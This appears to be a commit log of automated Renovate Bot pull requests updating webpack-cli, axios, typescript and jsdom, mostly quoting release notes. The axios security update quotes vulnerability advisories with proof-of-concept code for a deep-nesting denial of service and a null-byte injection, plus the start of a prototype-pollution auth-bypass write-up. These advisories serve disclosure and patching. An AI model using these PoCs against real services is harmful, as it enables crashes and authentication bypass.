This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [webpack-cli](https://github.com/webpack/webpack-cli/tree/main/packages/webpack-cli) ([source](https://github.com/webpack/webpack-cli)) | devDependencies | major | [`^5.1.4` -> `^7.0.0`](https://renovatebot.com/diffs/npm/webpack-cli/5.1.4/7.0.2) | --- ### Release Notes <details> <summary>webpack/webpack-cli (webpack-cli)</summary> ### [`v7.0.2`](https://github.com/webpack/webpack-cli/blob/HEAD/CHANGELOG.md#702) [Compare Source](https://github.com/webpack/webpack-cli/compare/webpack-cli@7.0.1...webpack-cli@7.0.2) ##### Patch Changes - Resolve configuration path for cache build dependencies. (by [@​alexander-akait](https://github.com/alexander-akait) in [#​4707](https://github.com/webpack/webpack-cli/pull/4707)) ### [`v7.0.1`](https://github.com/webpack/webpack-cli/blob/HEAD/CHANGELOG.md#701) [Compare Source](https://github.com/webpack/webpack-cli/compare/webpack-cli@7.0.0...webpack-cli@7.0.1) ##### Patch Changes - The `file` protocol for configuration options (`--config`/`--extends`) is supported. (by [@​alexander-akait](https://github.com/alexander-akait) in [#​4702](https://github.com/webpack/webpack-cli/pull/4702)) ### [`v7.0.0`](https://github.com/webpack/webpack-cli/blob/HEAD/CHANGELOG.md#700) [Compare Source](https://github.com/webpack/webpack-cli/compare/webpack-cli@6.0.1...webpack-cli@7.0.0) ##### Major Changes - The minimum supported version of Node.js is `20.9.0`. (by [@​alexander-akait](https://github.com/alexander-akait) in [#​4677](https://github.com/webpack/webpack-cli/pull/4677)) - Use dynamic import to load `webpack.config.js`, fallback to interpret only when configuration can't be load by dynamic import. Using dynamic imports allows you to take advantage of Node.js's built-in TypeScript support. (by [@​alexander-akait](https://github.com/alexander-akait) in [#​4677](https://github.com/webpack/webpack-cli/pull/4677)) - Removed the `--node-env` argument in favor of the `--config-node-env` argument. (by [@​alexander-akait](https://github.com/alexander-akait) in [#​4677](https://github.com/webpack/webpack-cli/pull/4677)) - The `version` command only output versions right now. (by [@​alexander-akait](https://github.com/alexander-akait) in [#​4677](https://github.com/webpack/webpack-cli/pull/4677)) - Removed deprecated API, no action required unless you use `import cli from "webpack-cli";`/`const cli = require("webpack-cli");`. (by [@​alexander-akait](https://github.com/alexander-akait) in [#​4677](https://github.com/webpack/webpack-cli/pull/4677)) ##### Patch Changes - Allow configuration freezing. (by [@​alexander-akait](https://github.com/alexander-akait) in [#​4677](https://github.com/webpack/webpack-cli/pull/4677)) - Use graceful shutdown when file system cache is enabled. (by [@​alexander-akait](https://github.com/alexander-akait) in [#​4677](https://github.com/webpack/webpack-cli/pull/4677)) - Performance improved. (by [@​alexander-akait](https://github.com/alexander-akait) in [#​4677](https://github.com/webpack/webpack-cli/pull/4677)) ### [`v6.0.1`](https://github.com/webpack/webpack-cli/blob/HEAD/CHANGELOG.md#601-2024-12-20) [Compare Source](https://github.com/webpack/webpack-cli/compare/webpack-cli@6.0.0...webpack-cli@6.0.1) ##### Bug Fixes - update peer dependencies ([#​4356](https://github.com/webpack/webpack-cli/issues/4356)) ([7a7e5d9](https://github.com/webpack/webpack-cli/commit/7a7e5d9f4bd796c7d1089db228b9581e97cc897e)) ### [`v6.0.0`](https://github.com/webpack/webpack-cli/blob/HEAD/CHANGELOG.md#600-2024-12-19) [Compare Source](https://github.com/webpack/webpack-cli/compare/webpack-cli@5.1.4...webpack-cli@6.0.0) ##### BREAKING CHANGES - the minimum required Node.js version is `18.12.0` - removed `init`, `loader` and `plugin` commands in favor [`create-webpack-app`](https://github.com/webpack/webpack-cli/tree/main/packages/create-webpack-app) - dropped support for `webpack-dev-server@v4` - minimum supported webpack version is `5.82.0` - the `--define-process-env-node-env` option was renamed to `--config-node-env` ##### Bug Fixes - allow to require `webpack.config.js` in ESM format ([#​4346](https://github.com/webpack/webpack-cli/issues/4346)) ([5106684](https://github.com/webpack/webpack-cli/commit/51066846326bcae5f9793d3496325213342d3dd2)) - correct the minimum help output ([#​4057](https://github.com/webpack/webpack-cli/issues/4057)) ([c727c4f](https://github.com/webpack/webpack-cli/commit/c727c4f3c790797cf46a6c0bc83ba77803d3eb05)) - gracefully shutting down ([#​4145](https://github.com/webpack/webpack-cli/issues/4145)) ([90720e2](https://github.com/webpack/webpack-cli/commit/90720e26ba3b0d115ed066fb8ec3db074751163e)) - improve help output for possible values ([#​4316](https://github.com/webpack/webpack-cli/issues/4316)) ([4cd5aef](https://github.com/webpack/webpack-cli/commit/4cd5aef3b93e3d73b5175c36cf9e8f9ae4455cb2)) - no serve when dev-server is false ([#​2947](https://github.com/webpack/webpack-cli/issues/2947)) ([a93e860](https://github.com/webpack/webpack-cli/commit/a93e8603a4c2639916152a013afed04c0e8f3a35)) ##### Features - output pnpm version with `info`/`version` command ([#​3906](https://github.com/webpack/webpack-cli/issues/3906)) ([38f3c6f](https://github.com/webpack/webpack-cli/commit/38f3c6f2b99f098d2f4afd60f005e8ff5cd44435)) #### [5.1.4](https://github.com/webpack/webpack-cli/compare/webpack-cli@5.1.3...webpack-cli@5.1.4) (2023-06-07) ##### Bug Fixes - multi compiler progress output ([f659624](https://github.com/webpack/webpack-cli/commit/f6596242c74100bfd6fa391ed2071402a3bd4785)) #### [5.1.3](https://github.com/webpack/webpack-cli/compare/webpack-cli@5.1.2...webpack-cli@5.1.3) (2023-06-04) ##### Bug Fixes - regression for custom configurations ([#​3834](https://github.com/webpack/webpack-cli/issues/3834)) ([bb4f8eb](https://github.com/webpack/webpack-cli/commit/bb4f8eb4325219afae3203dc4893af2b4655d5fa)) #### [5.1.2](https://github.com/webpack/webpack-cli/compare/webpack-cli@5.1.1...webpack-cli@5.1.2) (2023-06-04) ##### Bug Fixes - improve check for custom webpack and webpack-dev-server package existance ([0931ab6](https://github.com/webpack/webpack-cli/commit/0931ab6dfd8d9f511036bcb7c1a4ea8dde1ff1cb)) - improve help for some flags ([f468614](https://github.com/webpack/webpack-cli/commit/f4686141681cfcbc74d57e69a732e176decff225)) - improved support for `.cts` and `.mts` extensions ([a77daf2](https://github.com/webpack/webpack-cli/commit/a77daf28f8a8ad96410a39d565f011f6bb14f6bb)) #### [5.1.1](https://github.com/webpack/webpack-cli/compare/webpack-cli@5.1.0...webpack-cli@5.1.1) (2023-05-09) ##### Bug Fixes - false positive warning when `--watch` used ([#​3783](https://github.com/webpack/webpack-cli/issues/3783)) ([c0436ba](https://github.com/webpack/webpack-cli/commit/c0436baca2da7a8ce9e53bbbe960dd1951fe6404)) </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/34 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
eed37ede7f |
fix(deps): update dependency axios to v1.16.0 (#35)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [axios](https://axios-http.com) ([source](https://github.com/axios/axios)) | dependencies | minor | [`1.15.2` -> `1.16.0`](https://renovatebot.com/diffs/npm/axios/1.15.2/1.16.0) | --- ### Release Notes <details> <summary>axios/axios (axios)</summary> ### [`v1.16.0`](https://github.com/axios/axios/blob/HEAD/CHANGELOG.md#v1160--May-2-2026) [Compare Source](https://github.com/axios/axios/compare/v1.15.2...v1.16.0) This release adds support for the QUERY HTTP method and a new `ECONNREFUSED` error constant, lands a substantial wave of HTTP, fetch, and XHR adapter bug fixes around redirects, aborts, headers, and timeouts, and welcomes 23 new contributors. </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #35 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
12e3055772 |
chore(deps): update dependency typescript to v6 (#33)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [typescript](https://www.typescriptlang.org/) ([source](https://github.com/microsoft/TypeScript)) | devDependencies | major | [`~5.9.2` -> `~6.0.0`](https://renovatebot.com/diffs/npm/typescript/5.9.3/6.0.3) | --- ### Release Notes <details> <summary>microsoft/TypeScript (typescript)</summary> ### [`v6.0.3`](https://github.com/microsoft/TypeScript/releases/tag/v6.0.3): TypeScript 6.0.3 [Compare Source](https://github.com/microsoft/TypeScript/compare/v6.0.2...v6.0.3) For release notes, check out the [release announcement blog post](https://devblogs.microsoft.com/typescript/announcing-typescript-6-0/). - [fixed issues query for TypeScript 6.0.0 (Beta)](https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93\&q=milestone%3A%22TypeScript+6.0.0%22). - [fixed issues query for TypeScript 6.0.1 (RC)](https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93\&q=milestone%3A%22TypeScript+6.0.1%22). - [fixed issues query for TypeScript 6.0.2 (Stable)](https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93\&q=milestone%3A%22TypeScript+6.0.2%22). - [fixed issues query for TypeScript 6.0.3 (Stable)](https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93\&q=milestone%3A%22TypeScript+6.0.3%22). Downloads are available on: - [npm](https://www.npmjs.com/package/typescript) ### [`v6.0.2`](https://github.com/microsoft/TypeScript/releases/tag/v6.0.2): TypeScript 6.0 [Compare Source](https://github.com/microsoft/TypeScript/compare/v5.9.3...v6.0.2) For release notes, check out the [release announcement blog post](https://devblogs.microsoft.com/typescript/announcing-typescript-6-0/). - [fixed issues query for TypeScript 6.0.0 (Beta)](https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93\&q=milestone%3A%22TypeScript+6.0.0%22). - [fixed issues query for TypeScript 6.0.1 (RC)](https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93\&q=milestone%3A%22TypeScript+6.0.1%22). - [fixed issues query for TypeScript 6.0.2 (Stable)](https://github.com/Microsoft/TypeScript/issues?utf8=%E2%9C%93\&q=milestone%3A%22TypeScript+6.0.2%22). Downloads are available on: - [npm](https://www.npmjs.com/package/typescript) </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: #33 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
a60fb35e89 |
chore(deps): update dependency jsdom to v29 (#30)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [jsdom](https://github.com/jsdom/jsdom) | devDependencies | major | [`^27.1.0` -> `^29.0.0`](https://renovatebot.com/diffs/npm/jsdom/27.4.0/29.1.1) | --- ### Release Notes <details> <summary>jsdom/jsdom (jsdom)</summary> ### [`v29.1.1`](https://github.com/jsdom/jsdom/releases/tag/v29.1.1) [Compare Source](https://github.com/jsdom/jsdom/compare/v29.1.0...v29.1.1) - Fixed `'border-radius'` computed style serialization. ([@​asamuzaK](https://github.com/asamuzaK)) - Fixed computed style computation when using `'background-origin'` and `'background-clip'` CSS properties. ([@​asamuzaK](https://github.com/asamuzaK)) - Significantly optimized initial calls to `getComputedStyle()`, before the cache warms up. ([@​asamuzaK](https://github.com/asamuzaK)) ### [`v29.1.0`](https://github.com/jsdom/jsdom/releases/tag/v29.1.0) [Compare Source](https://github.com/jsdom/jsdom/compare/v29.0.2...v29.1.0) - Added basic support for the ratio CSS type. ([@​asamuzaK](https://github.com/asamuzaK)) - Fixed `getComputedStyle()` sometimes returning outdated results after CSS was modified. ([@​asamuzaK](https://github.com/asamuzaK)) ### [`v29.0.2`](https://github.com/jsdom/jsdom/releases/tag/v29.0.2) [Compare Source](https://github.com/jsdom/jsdom/compare/v29.0.1...v29.0.2) - Significantly improved and sped up `getComputedStyle()`. Computed value rules are now applied across a broader set of properties, and include fixes related to inheritance, defaulting keywords, custom properties, and color-related values such as `currentcolor` and system colors. ([@​asamuzaK](https://github.com/asamuzaK)) - Fixed CSS `'background`' and `'border'` shorthand parsing. ([@​asamuzaK](https://github.com/asamuzaK)) ### [`v29.0.1`](https://github.com/jsdom/jsdom/releases/tag/v29.0.1) [Compare Source](https://github.com/jsdom/jsdom/compare/v29.0.0...v29.0.1) - Fixed CSS parsing of `'border'`, `'background'`, and their sub-shorthands containing keywords or `var()`. ([@​asamuzaK](https://github.com/asamuzaK)) - Fixed `getComputedStyle()` to return a more functional `CSSStyleDeclaration` object, including indexed access support, which regressed in v29.0.0. ### [`v29.0.0`](https://github.com/jsdom/jsdom/releases/tag/v29.0.0) [Compare Source](https://github.com/jsdom/jsdom/compare/v28.1.0...v29.0.0) Breaking changes: - Node.js v22.13.0+ is now the minimum supported v22 version (was v22.12.0+). Other changes: - Overhauled the CSSOM implementation, replacing the [`@acemir/cssom`](https://www.npmjs.com/package/@​acemir/cssom) and [`cssstyle`](https://github.com/jsdom/cssstyle) dependencies with fresh internal implementations built on webidl2js wrappers and the [`css-tree`](https://www.npmjs.com/package/css-tree) parser. Serialization, parsing, and API behavior is improved in various ways, especially around edge cases. - Added `CSSCounterStyleRule` and `CSSNamespaceRule` to jsdom `Window`s. - Added `cssMediaRule.matches` and `cssSupportsRule.matches` getters. - Added proper media query parsing in `MediaList`, using `css-tree` instead of naive comma-splitting. Invalid queries become `"not all"` per spec. - Added `cssKeyframeRule.keyText` getter/setter validation. - Added `cssStyleRule.selectorText` setter validation: invalid selectors are now rejected. - Added `styleSheet.ownerNode`, `styleSheet.href`, and `styleSheet.title`. - Added bad port blocking per the [fetch specification](https://fetch.spec.whatwg.org/#bad-port), preventing fetches to commonly-abused ports. - Improved `Document` initialization performance by lazily initializing the CSS selector engine, avoiding ~0.5 ms of overhead per `Document`. ([@​thypon](https://github.com/thypon)) - Fixed a memory leak when stylesheets were removed from the document. - Fixed `CSSStyleDeclaration` modifications to properly trigger custom element reactions. - Fixed nested `@media` rule parsing. - Fixed `CSSStyleSheet`'s "disallow modification" flag not being checked in all mutation methods. - Fixed `XMLHttpRequest`'s `response` getter returning parsed JSON during the `LOADING` state instead of `null`. - Fixed `getComputedStyle()` crashing in XHTML documents when stylesheets contained at-rules such as `@page` or `@font-face`. - Fixed a potential hang in synchronous `XMLHttpRequest` caused by a race condition with the worker thread's idle timeout. ### [`v28.1.0`](https://github.com/jsdom/jsdom/releases/tag/v28.1.0) [Compare Source](https://github.com/jsdom/jsdom/compare/v28.0.0...v28.1.0) - Added `blob.text()`, `blob.arrayBuffer()`, and `blob.bytes()` methods. - Improved `getComputedStyle()` to account for CSS specificity when multiple rules apply. ([@​asamuzaK](https://github.com/asamuzaK)) - Improved synchronous `XMLHttpRequest` performance by using a persistent worker thread, avoiding ~400ms of setup overhead on every synchronous request after the first one. - Improved performance of `node.getRootNode()`, `node.isConnected`, and `event.dispatchEvent()` by caching the root node of document-connected trees. - Fixed `getComputedStyle()` to correctly handle `!important` priority. ([@​asamuzaK](https://github.com/asamuzaK)) - Fixed `document.getElementById()` to return the first element in tree order when multiple elements share the same ID. - Fixed `<svg>` elements to no longer incorrectly proxy event handlers to the `Window`. - Fixed `FileReader` event timing and `fileReader.result` state to more closely follow the spec. - Fixed a potential hang when synchronous `XMLHttpRequest` encountered dispatch errors. - Fixed compatibility with environments where Node.js's built-in `fetch()` has been used before importing jsdom, by working around undici v6/v7 incompatibilities. ### [`v28.0.0`](https://github.com/jsdom/jsdom/releases/tag/v28.0.0) [Compare Source](https://github.com/jsdom/jsdom/compare/v27.4.0...v28.0.0) - Overhauled resource loading customization. See [the new README](https://github.com/jsdom/jsdom/blob/2b65c6a80af2c899e32933c5e0cb842164852149/README.md#loading-subresources) for details on the new API. - Added MIME type sniffing to `<iframe>` and `<frame>` loads. - Regression: `WebSocket`s are no longer correctly throttled to one connection per origin. This is a result of the bug at [nodejs/undici#4743](https://github.com/nodejs/undici/issues/4743). - Fixed decoding of the query components of `<a>` and `<area>` elements in non-UTF-8 documents. - Fixed `XMLHttpRequest` fetches and `WebSocket` upgrade requests to be interceptable by the new customizable resource loading. (Except synchronous `XMLHttpRequest`s.) - Fixed the referrer of a document to be set correctly when redirects are involved; it is now the initiating page, not the last hop in the redirect chain. - Fixed correctness bugs when passing `ArrayBuffer`s or typed arrays to various APIs, where they would not correctly snapshot the data. - Fixed `require("url").parse()` deprecation warning when using `WebSocket`s. - Fixed `<iframe>`, `<frame>`, and `<img>` (when `canvas` is installed) to fire `load` events, not `error` events, on non-OK HTTP responses. - Fixed many small issues in `XMLHttpRequest`. </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Reviewed-on: https://git.unespace.com/julien/apf_portal/pulls/30 Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com> |
||
|
|
7fb250712e |
fix(deps): update dependency axios to v1.15.2 [security] (#32)
This PR contains the following updates: | Package | Type | Update | Change | |---|---|---|---| | [axios](https://axios-http.com) ([source](https://github.com/axios/axios)) | dependencies | patch | [`1.15.0` -> `1.15.2`](https://renovatebot.com/diffs/npm/axios/1.15.0/1.15.2) | --- ### Axios: unbounded recursion in toFormData causes DoS via deeply nested request data [CVE-2026-42039](https://nvd.nist.gov/vuln/detail/CVE-2026-42039) / [GHSA-62hf-57xw-28j9](https://github.com/advisories/GHSA-62hf-57xw-28j9) <details> <summary>More information</summary> #### Details ##### Summary toFormData recursively walks nested objects with no depth limit, so a deeply nested value passed as request data crashes the Node.js process with a RangeError. ##### Details lib/helpers/toFormData.js:210 defines an inner `build(value, path)` that recurses into every object/array child (line 225: `build(el, path ? path.concat(key) : [key])`). The only safeguard is a `stack` array used to detect circular references; there is no maximum depth and no try/catch around the recursion. Because `build` calls itself once per nesting level, a payload nested roughly 2000+ levels deep exhausts V8's call stack. `toFormData` is the serializer behind `FormData` request bodies and `AxiosURLSearchParams` (used by `buildURL` when `params` is an object with `URLSearchParams` unavailable, see `lib/helpers/buildURL.js:53` and `lib/helpers/AxiosURLSearchParams.js:36`). Any server-side code that forwards a client-supplied object into `axios({ data, params })` therefore reaches the recursive walker with attacker-controlled depth. The RangeError is thrown synchronously from inside `forEach`, escapes `toFormData`, and propagates out of the axios request call. In typical Express/Fastify request handlers this terminates the running request; in synchronous startup paths or worker threads it can crash the whole process. ##### PoC ```js import toFormData from 'axios/lib/helpers/toFormData.js'; import FormData from 'form-data'; function nest(depth) { let o = { leaf: 1 }; for (let i = 0; i < depth; i++) o = { a: o }; return o; } try { toFormData(nest(2500), new FormData()); } catch (e) { console.log(e.name + ': ' + e.message); } // RangeError: Maximum call stack size exceeded ``` Server-side reachability example: ```js // vulnerable proxy pattern app.post('/forward', async (req, res) => { await axios.post('https://upstream/api', req.body); // req.body user-controlled res.send('ok'); }); // attacker POST /forward with {"a":{"a":{"a":... 2500 deep ...}}} // -> toFormData build() overflows -> request handler crashes ``` Verified on axios 1.15.0 (latest, 2026-04-10), Node.js 20, 3/3 PoC runs reproduce the RangeError at depth 2500. ##### Impact A remote, unauthenticated attacker who can influence an object passed to axios as request `data` or `params` triggers an uncaught RangeError inside the synchronous recursive walker. In server-side applications that proxy or re-send client JSON through axios this crashes the request handler and, in worker/cluster setups, the process. Fix by bounding recursion depth in `toFormData`'s `build` function (reject or throw on depths beyond a configurable limit, e.g. 100) or rewriting the walker iteratively. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/axios/axios/security/advisories/GHSA-62hf-57xw-28j9](https://github.com/axios/axios/security/advisories/GHSA-62hf-57xw-28j9) - [https://nvd.nist.gov/vuln/detail/CVE-2026-42039](https://nvd.nist.gov/vuln/detail/CVE-2026-42039) - [https://github.com/axios/axios](https://github.com/axios/axios) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-62hf-57xw-28j9) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams [CVE-2026-42040](https://nvd.nist.gov/vuln/detail/CVE-2026-42040) / [GHSA-xhjh-pmcv-23jw](https://github.com/advisories/GHSA-xhjh-pmcv-23jw) <details> <summary>More information</summary> #### Details ##### Vulnerability Disclosure: Null Byte Injection via Reverse-Encoding in AxiosURLSearchParams ##### Summary The `encode()` function in `lib/helpers/AxiosURLSearchParams.js` contains a character mapping (`charMap`) at line 21 that **reverses** the safe percent-encoding of null bytes. After `encodeURIComponent('\x00')` correctly produces the safe sequence `%00`, the charMap entry `'%00': '\x00'` converts it back to a raw null byte. This is a clear encoding defect: every other charMap entry encodes in the safe direction (literal → percent-encoded), while this single entry decodes in the opposite (dangerous) direction. **Severity:** Low (CVSS 3.7) **Affected Versions:** All versions containing this charMap entry **Vulnerable Component:** `lib/helpers/AxiosURLSearchParams.js:21` ##### CWE - **CWE-626:** Null Byte Interaction Error (Poison Null Byte) - **CWE-116:** Improper Encoding or Escaping of Output ##### CVSS 3.1 **Score: 3.7 (Low)** Vector: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N` | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | Attacker controls input parameters remotely | | Attack Complexity | High | Standard axios request flow (`buildURL`) uses its own `encode` function which does NOT have this bug. Only triggered via direct `AxiosURLSearchParams.toString()` without an encoder, or via custom `paramsSerializer` delegation | | Privileges Required | None | No authentication needed | | User Interaction | None | No user interaction required | | Scope | Unchanged | Impact limited to HTTP request URL | | Confidentiality | None | No confidentiality impact | | Integrity | Low | Null byte in URL can cause truncation in C-based backends, but requires a vulnerable downstream parser | | Availability | None | No availability impact | ##### Vulnerable Code **File:** `lib/helpers/AxiosURLSearchParams.js`, lines 13-26 ```javascript function encode(str) { const charMap = { '!': '%21', // literal → encoded (SAFE direction) "'": '%27', // literal → encoded (SAFE direction) '(': '%28', // literal → encoded (SAFE direction) ')': '%29', // literal → encoded (SAFE direction) '~': '%7E', // literal → encoded (SAFE direction) '%20': '+', // standard transformation (SAFE) '%00': '\x00', // LINE 21: encoded → raw null byte (UNSAFE direction!) }; return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) { return charMap[match]; }); } ``` ##### Why the Standard Flow Is NOT Affected ```javascript // buildURL.js:36 — uses its OWN encode function (lines 14-20), not AxiosURLSearchParams's const _encode = (options && options.encode) || encode; // buildURL's encode // buildURL.js:53 — passes buildURL's encode to AxiosURLSearchParams new AxiosURLSearchParams(params, _options).toString(_encode); // external encoder used // AxiosURLSearchParams.js:48 — when encoder is provided, internal encode is NOT used const _encode = encoder ? function(value) { return encoder.call(this, value, encode); } : encode; // ^^^^^^ // internal encode passed as 2nd arg but only used if // the external encoder explicitly delegates to it ``` ##### Proof of Concept ```javascript import AxiosURLSearchParams from './lib/helpers/AxiosURLSearchParams.js'; import buildURL from './lib/helpers/buildURL.js'; // Test 1: Direct AxiosURLSearchParams (VULNERABLE path) const params = new AxiosURLSearchParams({ file: 'test\x00.txt' }); const result = params.toString(); // NO encoder → uses internal encode with charMap console.log('Direct toString():', JSON.stringify(result)); // Output: "file=test\u0000.txt" (contains raw null byte) console.log('Hex:', Buffer.from(result).toString('hex')); // Output: 66696c653d74657374002e747874 (00 = null byte) // Test 2: Via buildURL (NOT vulnerable — standard axios flow) const url = buildURL('http://example.com/api', { file: 'test\x00.txt' }); console.log('Via buildURL:', url); // Output: http://example.com/api?file=test%00.txt (%00 preserved safely) ``` ##### Verified PoC Output ``` Direct toString(): "file=test\u0000.txt" Contains raw null byte: true Hex: 66696c653d74657374002e747874 Via buildURL: http://example.com/api?file=test%00.txt Contains raw null byte: false Contains safe %00: true ``` ##### Impact Analysis **Primary impact is limited** because the standard axios request flow is not affected. However: - **Direct API users:** Applications using `AxiosURLSearchParams` directly for custom serialization are affected - **Custom paramsSerializer:** A `paramsSerializer.encode` that delegates to the internal encoder triggers the bug - **Code defect signal:** The directional inconsistency in charMap is a clear coding error with no legitimate use case If null bytes reach a downstream C-based parser, impacts include URL truncation, WAF bypass, and log injection. ##### Recommended Fix Remove the `%00` entry from charMap and update the regex: ```javascript function encode(str) { const charMap = { '!': '%21', "'": '%27', '(': '%28', ')': '%29', '~': '%7E', '%20': '+', // REMOVED: '%00': '\x00' }; return encodeURIComponent(str).replace(/[!'()~]|%20/g, function replacer(match) { // ^^^^ removed |%00 return charMap[match]; }); } ``` ##### Resources - [CWE-626: Null Byte Interaction Error](https://cwe.mitre.org/data/definitions/626.html) - [CWE-116: Improper Encoding or Escaping of Output](https://cwe.mitre.org/data/definitions/116.html) - [OWASP: Embedding Null Code](https://owasp.org/www-community/attacks/Embedding_Null_Code) - [Axios GitHub Repository](https://github.com/axios/axios) ##### Timeline | Date | Event | |---|---| | 2026-04-15 | Vulnerability discovered during source code audit | | 2026-04-16 | Report revised: documented standard-flow limitation, corrected CVSS | | TBD | Report submitted to vendor via GitHub Security Advisory | #### Severity - CVSS Score: 3.7 / 10 (Low) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:N` #### References - [https://github.com/axios/axios/security/advisories/GHSA-xhjh-pmcv-23jw](https://github.com/axios/axios/security/advisories/GHSA-xhjh-pmcv-23jw) - [https://nvd.nist.gov/vuln/detail/CVE-2026-42040](https://nvd.nist.gov/vuln/detail/CVE-2026-42040) - [https://github.com/axios/axios](https://github.com/axios/axios) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-xhjh-pmcv-23jw) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Axios: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy [CVE-2026-42041](https://nvd.nist.gov/vuln/detail/CVE-2026-42041) / [GHSA-w9j2-pvgh-6h63](https://github.com/advisories/GHSA-w9j2-pvgh-6h63) <details> <summary>More information</summary> #### Details ##### Vulnerability Disclosure: Authentication Bypass via Prototype Pollution Gadget in `validateStatus` Merge Strategy ##### Summary The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any `Object.prototype` pollution to **silently suppress all HTTP error responses** (401, 403, 500, etc.), causing them to be treated as successful responses. This completely bypasses application-level authentication and error handling. The root cause is that `validateStatus` is the **only** config property using the `mergeDirectKeys` merge strategy, which uses JavaScript's `in` operator — an operator that inherently traverses the prototype chain. When `Object.prototype.validateStatus` is polluted with `() => true`, all HTTP status codes are accepted as success. **Severity:** High (CVSS 8.2) **Affected Versions:** All versions (v0.x - v1.x including v1.15.0) **Vulnerable Component:** `lib/core/mergeConfig.js` (`mergeDirectKeys` strategy) + `lib/core/settle.js` ##### CWE - **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') - **CWE-287:** Improper Authentication ##### CVSS 3.1 **Score: 8.2 (High)** Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N` | Metric | Value | Justification | |---|---|---| | Attack Vector | Network | PP is triggered remotely | | Attack 